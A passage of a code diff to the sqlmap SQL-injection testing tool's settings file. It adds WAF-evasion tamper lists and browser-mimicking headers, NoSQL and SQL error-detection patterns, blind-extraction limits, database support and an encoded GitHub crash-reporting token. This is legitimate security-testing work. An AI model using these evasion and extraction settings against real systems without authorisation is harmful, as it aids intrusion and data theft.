             self.connection = sqlite3.connect(dbpath)
             self.connection.isolation_level = None
             self.cursor = self.connection.cursor()
@@ -120,8 +123,17 @@ class Replication(object):
         return Replication.Table(parent=self, name=tblname, columns=columns, typeless=typeless)
 
     def __del__(self):
-        self.cursor.close()
-        self.connection.close()
+        try:
+            if self.cursor is not None:
+                self.cursor.close()
+        except Exception:
+            pass
+
+        try:
+            if self.connection is not None:
+                self.connection.close()
+        except Exception:
+            pass
 
     # sqlite data types
     NULL = DataType('NULL')

lib/core/settings.py

@@ -20,7 +20,7 @@ from lib.core.enums import OS
 from thirdparty import six
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.10.2.0"
+VERSION = "1.10.7.0"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -54,6 +54,38 @@ IPS_WAF_CHECK_RATIO = 0.5
 # Timeout used in heuristic check for WAF/IPS protected targets
 IPS_WAF_CHECK_TIMEOUT = 10
 
+# HTTP status codes a WAF/IPS typically returns when it blocks a request. Used to reject a boolean
+# "injection" whose only TRUE/FALSE difference is the always-true payload being blocked (a status-code
+# false positive) rather than the back-end actually answering.
+WAF_BLOCK_HTTP_CODES = (403, 406, 429, 451, 501, 503)
+
+# Candidate tamper scripts for automatic WAF-bypass, ordered by empirical WAF-bypass value
+# (structural token-substitution first, camouflage last; per identYwaf data). The back-end DBMS
+# is not pre-filtered here: semantics-preservation is verified at runtime by re-running detection
+# through each candidate, so a DBMS-incompatible script simply fails the trial and is discarded.
+WAF_BYPASS_TAMPERS = (
+    "equaltolike",
+    "between",
+    "greatest",
+    "charencode",
+    "randomcase",
+    "space2comment",
+    "versionedkeywords",
+    "space2hash",
+)
+
+# Maximum number of candidate tamper (chains) trialled during automatic WAF-bypass
+WAF_BYPASS_MAX_TRIALS = 8
+
+# Browser-like request headers applied alongside the random (non-scanner) User-Agent during
+# automatic WAF bypass: sqlmap's defaults ('Accept: */*', no 'Accept-Language') are themselves a
+# non-browser tell that header/behavioral WAFs key on, so the whole request fingerprint - not just
+# the UA - is made to look like a real browser. Kept standard so it cannot skew content negotiation.
+WAF_BYPASS_HTTP_HEADERS = (
+    ("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"),
+    ("Accept-Language", "en-US,en;q=0.5"),
+)
+
 # Timeout used in checking for existence of live-cookies file
 LIVE_COOKIES_TIMEOUT = 120
 
@@ -62,7 +94,7 @@ LOWER_RATIO_BOUND = 0.02
 UPPER_RATIO_BOUND = 0.98
 
 # For filling in case of dumb push updates
-DUMMY_JUNK = "theim1Ga"
+DUMMY_JUNK = "Phah5jue"
 
 # Markers for special cases when parameter values contain html encoded characters
 PARAMETER_AMP_MARKER = "__PARAMETER_AMP__"
@@ -122,7 +154,10 @@ PRECONNECT_CANDIDATE_TIMEOUT = 10
 PRECONNECT_INCOMPATIBLE_SERVERS = ("SimpleHTTP", "BaseHTTP")
 
 # Identify WAF/IPS inside limited number of responses (Note: for optimization purposes)
-IDENTYWAF_PARSE_LIMIT = 10
+IDENTYWAF_PARSE_COUNT_LIMIT = 10
+
+# Identify WAF/IPS inside limited size of responses
+IDENTYWAF_PARSE_PAGE_LIMIT = 4 * 1024
 
 # Maximum sleep time in "Murphy" (testing) mode
 MAX_MURPHY_SLEEP_TIME = 3
@@ -145,6 +180,29 @@ DUMMY_SEARCH_USER_AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100
 # Regular expression used for extracting content from "textual" tags
 TEXT_TAG_REGEX = r"(?si)<(abbr|acronym|b|blockquote|br|center|cite|code|dt|em|font|h[1-6]|i|li|p|pre|q|strong|sub|sup|td|th|title|tt|u)(?!\w).*?>(?P<result>[^<]+)"
 
+# Regular expressions used for extracting a value-free structural skeleton of a (HTML) page (tag
+# names and class/id attribute hooks), for structure-aware comparison of pages whose textual
+# content is dynamic but whose layout is stable
+STRUCTURAL_TAG_REGEX = r"(?si)<\s*([a-z][a-z0-9]*)((?:\s+[^<>]*)?)/?>"
+STRUCTURAL_CLASS_REGEX = r"""(?si)\bclass\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))"""
+STRUCTURAL_ID_REGEX = r"""(?si)\bid\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))"""
+
+# Minimum response size (in bytes) for the 'skip-read' NULL connection method to be used. Unlike
+# HEAD/Range, 'skip-read' leaves the body unread and must therefore close the connection (an unread
+# body cannot be reused), paying a fresh TCP/TLS handshake per request. That only pays off when
+# avoiding the body transfer outweighs the reconnect - i.e. for large responses; for small ones it
+# is a net slowdown, so it is gated by this size
+NULL_CONNECTION_SKIP_READ_MIN_LENGTH = 256 * 1024
+
+# Coarse plausibility band for a NULL connection method's reported length, relative to the known
+# original page length (len(kb.originalPage)). A method is accepted only if its length falls within
+# it; this rejects a method whose length does not track the real GET response (e.g. HEAD returning
+# 'Content-Length: 0', HEAD served from a different code path, or sneaked-in compression). The band
+# is deliberately generous (byte-vs-character size and moderate page dynamism are expected, and a
+# false reject merely forgoes the optimization, which is safe) - it only catches gross mismatches
+NULL_CONNECTION_LENGTH_TOLERANCE_LOW = 0.5
+NULL_CONNECTION_LENGTH_TOLERANCE_HIGH = 4.0
+
 # Regular expression used for recognition of IP addresses
 IP_ADDRESS_REGEX = r"\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b"
 
@@ -191,6 +249,9 @@ MAX_TECHNIQUES_PER_VALUE = 2
 # In case of missing piece of partial union dump, buffered array must be flushed after certain size
 MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024
 
+# Initial number of rows aggregated per request when a full (single-shot) JSON-agg UNION dump is too large and falls back to chunked windowed aggregation (halved adaptively if a chunk response still gets truncated)
+JSON_AGG_CHUNK_ROWS = 1000
+
 # Maximum size of cache used in @cachedmethod decorator
 MAX_CACHE_ITEMS = 1024
 
@@ -276,7 +337,7 @@ FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CO
 MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
 SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs", "tempdb")
 DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS", "SYSDEBUG", "SYSINST")
-HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
+HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOBS")
 H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) + ("IGNITE", "ignite-sys-cache")
 INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
 MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler")
@@ -295,6 +356,7 @@ FRONTBASE_SYSTEM_DBS = ("DEFINITION_SCHEMA", "INFORMATION_SCHEMA")
 RAIMA_SYSTEM_DBS = ("",)
 VIRTUOSO_SYSTEM_DBS = ("",)
 SNOWFLAKE_SYSTEM_DBS = ("INFORMATION_SCHEMA",)
+SPANNER_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SPANNER_SYS")
 
 # Note: (<regular>) + (<forks>)
 MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
@@ -326,13 +388,14 @@ FRONTBASE_ALIASES = ("frontbase",)
 RAIMA_ALIASES = ("raima database manager", "raima", "raimadb", "raimadm", "rdm", "rds", "velocis")
 VIRTUOSO_ALIASES = ("virtuoso", "openlink virtuoso")
 SNOWFLAKE_ALIASES = ("snowflake",)
+SPANNER_ALIASES = ("spanner", "google cloud spanner", "google spanner")
 
 DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
 
-SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES)
+SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + FRONTBASE_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES + SPANNER_ALIASES)
 SUPPORTED_OS = ("linux", "windows")
 
-DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES), (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES))
+DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES), (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES), (DBMS.SPANNER, SPANNER_ALIASES))
 
 USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
 REFERER_ALIASES = ("ref", "referer", "referrer")
@@ -346,6 +409,7 @@ H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
 VERTICA_DEFAULT_SCHEMA = "public"
 MCKOI_DEFAULT_SCHEMA = "APP"
 CACHE_DEFAULT_SCHEMA = "SQLUser"
+SPANNER_DEFAULT_SCHEMA = "default"
 
 # DBMSes where OFFSET mechanism starts from 1
 PLUS_ONE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE, DBMS.MSSQL, DBMS.CACHE))
@@ -424,7 +488,9 @@ ERROR_PARSING_REGEXES = (
     r"Code: \d+. DB::Exception: (?P<result>[^<>\n]*)",
     r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P<result>[^<>]+)",
     r"\[[^\n\]]{1,100}(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P<result>[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)",
-    r"(?P<result>query error: SELECT[^<>]+)"
+    r"(?P<result>query error: SELECT[^<>]+)",
+    r"(?P<result>(?:(?:ORA|PLS)-[0-9]{5}:|SQLCODE[ =:]+-?[0-9]+|SQLSTATE[ =:]+[0-9A-Z]{5}|Dynamic SQL Error|DB2 SQL error:|SAP DBTech JDBC:|SQLiteException:|You have an error in your SQL syntax;|Incorrect syntax near |Unclosed quotation mark after the character string|near \"[^\"]+\": syntax error)[^\n<]*)",
+    r'"(?:errmsg|errorMessage|reason|msg)"\s*:\s*"(?P<result>[^"]+)"'      # generic JSON error-message field (NoSQL document/REST back-ends)
 )
 
 # Regular expression used for parsing charset info from meta html headers
@@ -467,11 +533,38 @@ URI_INJECTABLE_REGEX = r"//[^/]*/([^\.*?]+)\Z"
 SENSITIVE_DATA_REGEX = r"(\s|=)(?P<result>[^\s=]*\b%s\b[^\s]*)\s"
 
 # Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the <hostname> inside)
-SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "fileRead", "fileWrite", "fileDest", "testParameter", "authCred", "sqlQuery", "requestFile", "csrfToken", "csrfData", "csrfUrl", "testParameter")
+SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "fileRead", "fileWrite", "fileDest", "authCred", "sqlQuery", "requestFile", "csrfToken", "csrfData", "csrfUrl", "testParameter")
 
 # Maximum number of threads (avoiding connection issues and/or DoS)
 MAX_NUMBER_OF_THREADS = 10
 
+# Wrapper applied to MySQL UNION-based retrieval values to neutralize "Illegal mix of collations" errors (e.g. utf8mb4_0900_ai_ci tables vs a utf8mb4_general_ci connection on MySQL 8+). CONVERT normalizes the (possibly binary) charset to utf8mb4 and the explicit COLLATE then wins the UNION column merge (highest coercibility)
+MYSQL_UNION_VALUE_CAST = "CONVERT(%s USING utf8mb4) COLLATE utf8mb4_bin"
+
+# Row count at/above which keyset (seek) pagination is used automatically for table dumps when a usable integer-key cursor exists (smaller tables keep the plain LIMIT/OFFSET path; '--keyset' forces it regardless of size)
+KEYSET_MIN_ROWS = 1000
+
+# Number of consecutive Huffman (set-membership) character attempts allowed to decline/escape without a single validated success before the technique latches itself off (safety against trimmed/blocked long IN() payloads)
+HUFFMAN_PROBE_LIMIT = 8
+
+# Cold-start (prior) weights for the order-0 Huffman model used in adaptive blind retrieval. Gently
+# biases the initial tree toward bytes that dominate real DBMS output (lowercase text, digits, common
+# identifier punctuation) so SHORT extractions don't pay the full balanced-tree depth before the online
+# frequency model warms up. Magnitude is small so genuine learned counts overtake it within a few dozen
+# characters (kept low-risk for uniform/hex columns: hex digits 0-9a-f are themselves favored here).
+HUFFMAN_PRIOR_WEIGHTS = {}
+for _weight, _chars in ((6, " etaoinsrhldcumfgypwbvkxjqz"), (4, "0123456789"), (3, "_.-/@:,'")):
+    for _char in _chars:
+        HUFFMAN_PRIOR_WEIGHTS[ord(_char)] = _weight
+
+# Bounds for feeding extracted values back into the "good samaritan" (--predict-output) common-output
+# pool for their enumeration context, so later same-context items that share structure (e.g.
+# wp_posts / wp_users / wp_options ...) are predicted faster. MAX_LENGTH keeps large data cells from
+# bloating/polluting the pool (identifiers are short); MAX_ITEMS bounds per-context growth so a huge
+# enumeration cannot make the per-character prediction scan costly. Misses always fall back to bisection.
+PREDICTION_FEEDBACK_MAX_LENGTH = 128
+PREDICTION_FEEDBACK_MAX_ITEMS = 10000
+
 # Minimum range between minimum and maximum of statistical set
 MIN_STATISTICAL_RANGE = 0.01
 
@@ -545,7 +638,7 @@ UNSAFE_DUMP_FILEPATH_REPLACEMENT = '_'
 RESTORE_MERGED_OPTIONS = ("col", "db", "dbms", "os", "dnsDomain", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user")
 
 # Parameters to be ignored in detection phase (upper case)
-IGNORE_PARAMETERS = ("__VIEWSTATE", "__VIEWSTATEENCRYPTED", "__VIEWSTATEGENERATOR", "__EVENTARGUMENT", "__EVENTTARGET", "__EVENTVALIDATION", "ASPSESSIONID", "ASP.NET_SESSIONID", "JSESSIONID", "CFID", "CFTOKEN")
+IGNORE_PARAMETERS = ("__VIEWSTATE", "__VIEWSTATEENCRYPTED", "__VIEWSTATEGENERATOR", "__EVENTARGUMENT", "__EVENTTARGET", "__EVENTVALIDATION", "__SCROLLPOSITIONX", "__SCROLLPOSITIONY", "__PREVIOUSPAGE", "ASPSESSIONID", "ASP.NET_SESSIONID", "JSESSIONID", "PHPSESSID", "SESSID", "CFID", "CFTOKEN")
 
 # Regular expression used for recognition of ASP.NET control parameters
 ASP_NET_CONTROL_REGEX = r"(?i)\Actl\d+\$"
@@ -617,7 +710,7 @@ DUMMY_SQL_INJECTION_CHARS = ";()'"
 DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\bSELECT\b.+\bFROM\b|\b(CONCAT|information_schema|SLEEP|DELAY|FLOOR\(RAND)\b"
 
 # Extensions skipped by crawler
-CRAWL_EXCLUDE_EXTENSIONS = frozenset(("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "accdb", "access", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bin", "bk", "bkp", "bmp", "btif", "bz2", "c", "cab", "caf", "cfg", "cgm", "cmx", "com", "conf", "config", "cpio", "cpp", "cr2", "cue", "dat", "db", "dbf", "deb", "debug", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "dylib", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "elf", "env", "eol", "eot", "epub", "error", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "go", "gz", "h", "h261", "h263", "h264", "ico", "ief", "img", "ini", "ipa", "iso", "jar", "java", "jpeg", "jpg", "jpgv", "jpm", "js", "jxr", "ktx", "lock", "log", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdb", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "msi", "mxu", "nef", "npx", "nrg", "o", "oga", "ogg", "ogv", "old", "otf", "ova", "ovf", "pbm", "pcx", "pdf", "pea", "pgm", "php", "pic", "pid", "pkg", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "py", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rb", "rgb", "rip", "rlc", "rs", "run", "rz", "s3m", "s7z", "scm", "scpt", "service", "sgi", "shar", "sil", "smv", "so", "sock", "socket", "sqlite", "sqlitedb", "sub", "svc", "swf", "swo", "swp", "sys", "tar", "tbz2", "temp", "tga", "tgz", "tif", "tiff", "tlz", "tmp", "toast", "torrent", "ts", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "vbox", "vdi", "vhd", "vhdx", "viv", "vmdk", "vmx", "vob", "vxd", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "yaml", "yml", "z", "zip", "zipx"))
+CRAWL_EXCLUDE_EXTENSIONS = frozenset(("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "accdb", "access", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bkp", "bmp", "btif", "bz2", "c", "cab", "caf", "cfg", "cgm", "cmx", "com", "conf", "config", "cpio", "cpp", "cr2", "cue", "dat", "db", "dbf", "deb", "debug", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "dylib", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "elf", "env", "eol", "eot", "epub", "error", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "go", "gz", "h", "h261", "h263", "h264", "ico", "ief", "img", "ini", "ipa", "iso", "jar", "java", "jpeg", "jpg", "jpgv", "jpm", "js", "jxr", "ktx", "lock", "log", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdb", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "msi", "mxu", "nef", "npx", "nrg", "o", "oga", "ogg", "ogv", "old", "otf", "ova", "ovf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "pid", "pkg", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "py", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rb", "rgb", "rip", "rlc", "rs", "run", "rz", "s3m", "s7z", "scm", "scpt", "service", "sgi", "shar", "sil", "smv", "so", "sock", "socket", "sqlite", "sqlitedb", "sub", "svc", "swf", "swo", "swp", "sys", "tar", "tbz2", "temp", "tga", "tgz", "tif", "tiff", "tlz", "tmp", "toast", "torrent", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "vbox", "vdi", "vhd", "vhdx", "viv", "vmdk", "vmx", "vob", "vxd", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "yaml", "yml", "z", "zip", "zipx"))
 
 # Patterns often seen in HTTP headers containing custom injection marking character '*'
 PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)"
@@ -674,6 +767,9 @@ TRIM_STDOUT_DUMP_SIZE = 256
 # Reference: https://web.archive.org/web/20150407141500/https://support.microsoft.com/en-us/kb/899149
 DUMP_FILE_BUFFER_SIZE = 1024
 
+# Block size used for the in-place secure-overwrite passes of '--purge' (bounds peak memory regardless of file size)
+PURGE_BLOCK_SIZE = 1024 * 1024
+
 # Parse response headers only first couple of times
 PARSE_HEADERS_LIMIT = 3
 
@@ -704,8 +800,11 @@ DEFAULT_COOKIE_DELIMITER = ';'
 # Unix timestamp used for forcing cookie expiration when provided with --load-cookies
 FORCE_COOKIE_EXPIRATION_TIME = "9999999999"
 
-# Github OAuth token used for creating an automatic Issue for unhandled exceptions
-GITHUB_REPORT_OAUTH_TOKEN = "wxqc7vTeW8ohIcX+1wK55Mnql2Ex9cP+2s1dqTr/mjlZJVfLnq24fMAi08v5vRvOmuhVZQdOT/lhIRovWvIJrdECD1ud8VMPWpxY+NmjHoEx+VLK1/vCAUBwJe"
+# Restricted PAT token for automated crash reporting (last rotation: 2026-04-24)
+GITHUB_REPORT_PAT_TOKEN = "0EZh0n8npcacTH4oBcdKKWvfZLcdGWx0N5XFHD2xYaQDOkmI9LWaeDvZRZUMDz8l96RDH3+LVsbwGE5zUtaau0kld9VXG20fVbYES3ooFpNv+U9J5OTnaT2OlZcYzk4w5veT+GiHV5cuCngOJ6QgL1+qRpZDX1gzFecXbm2sNfQ2SGjT5McQe1mtxMTN7WsS1fQfPH+RhMUgbnwXJ5YG6EsBNZWOyk0C16QnekrVtuQpK0/ZVvU560uQhoMsP1/FBguBwJe"
+
+# Age (in days) past which a resumed session file is considered stale (triggers a one-time nudge)
+HASHDB_STALE_DAYS = 7
 
 # Flush HashDB threshold number of cached items
 HASHDB_FLUSH_THRESHOLD_ITEMS = 200
@@ -752,6 +851,11 @@ MAX_STABILITY_DELAY = 0.5
 # Reference: http://www.tcpipguide.com/free/t_DNSLabelsNamesandSyntaxRules.htm
 MAX_DNS_LABEL = 63
 
+# Maximum number of (most recent) DNS resolution requests retained by the DNS server (bounded so
+# that unrelated/stray traffic to the listening :53 socket cannot grow memory without limit; the
+# value is popped right after it is triggered, so only recent entries ever matter)
+MAX_DNS_REQUESTS = 1000
+
 # Alphabet used for prefix and suffix strings of name resolution requests in DNS technique (excluding hexadecimal chars for not mixing with inner content)
 DNS_BOUNDARIES_ALPHABET = re.sub(r"[a-fA-F]", "", string.ascii_letters)
 
@@ -762,11 +866,208 @@ HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', ',', '.')
 BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample(HEURISTIC_CHECK_ALPHABET, 1)[0], BANNER)
 
 # String used for dummy non-SQLi (e.g. XSS) heuristic checks of a tested parameter value
-DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">"
+DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">)"
 
 # Regular expression used for recognition of file inclusion errors
 FI_ERROR_REGEX = r"(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}"
 
+# Regular expressions (per back-end, anchored to actual error-message structure - not product names) used for heuristic recognition of NoSQL injection
+NOSQL_ERRORS = (
+    ("MongoDB", r"Mongo(?:Server|Parse|Network|Runtime|Bulk|WriteConcern)?Error\b|\bBSON(?:Type)?Error\b|\bMongooseError\b|CastError: Cast to|unknown (?:top.level )?operator: ?\$|\$(?:regex|where|expr|in|nin|ne|gt|lt|elemMatch) (?:has to be|is not allowed|must be|not supported|requires)|Regular expression is invalid"),
+    ("CouchDB", r'"error"\s*:\s*"(?:bad_request|query_parse_error|missing_named_query)"|invalid operator: ?\$'),
+    ("Elasticsearch", r'"type"\s*:\s*"[a-z_]*?(?:query_shard|x_content_parse|parsing|search_phase_execution|illegal_argument|too_many_clauses|number_format|script)_exception"|Failed to parse query \['),
+    ("Solr", r"org\.apache\.solr\.[\w.]*(?:SyntaxError|SolrException)"),
+    ("Neo4j", r"Neo\.(?:ClientError|DatabaseError|TransientError|ClientNotification)\.|\bNeo4jError\b|even number of non-escaped quotes|Failed to parse string literal|expected an expression|'(?:UNWIND|OPTIONAL|DETACH|FOREACH|MERGE|LOAD CSV)'"),
+    ("ArangoDB", r"\bArangoError\b|AQL: (?:syntax|parse) error"),
+    ("Cassandra", r"line \d+:\d+ (?:no viable alternative at input|(?:mismatched|extraneous) input '.*?' expecting)|org\.apache\.cassandra|com\.datastax|\bInvalid(?:Request|Query)Exception\b"),
+    ("Redis", r"\bWRONGTYPE\b|ERR Error (?:compiling|running) script|@user_script|\bReplyError\b"),
+    ("Memcached", r"CLIENT_ERROR bad|SERVER_ERROR object too large"),
+    ("InfluxDB", r"error parsing query|unable to parse '[^']*': found"),
+    ("HBase/Phoenix", r"org\.apache\.phoenix|PhoenixParserException|org\.apache\.hadoop\.hbase"),
+)
+NOSQL_ERROR_REGEX = "(?:%s)" % '|'.join(regex for _, regex in NOSQL_ERRORS)
+
+# Printable-ASCII codepoint bounds bisected (via regexp character-class ranges) during NoSQL blind extraction
+NOSQL_CHAR_MIN = 0x20
+NOSQL_CHAR_MAX = 0x7e
+
+# Maximum number of document fields enumerated during a NoSQL ($where server-side JavaScript) document dump
+NOSQL_MAX_FIELDS = 64
+
+# Maximum number of records walked during a NoSQL blind multi-record (ordered key paging) collection dump
+NOSQL_MAX_RECORDS = 100
+
+# Upper bound for the length search during NoSQL blind extraction
+NOSQL_MAX_LENGTH = 1024
+
+# GraphQL endpoint paths to probe when the user supplies a base URL with --graphql (no explicit /graphql)
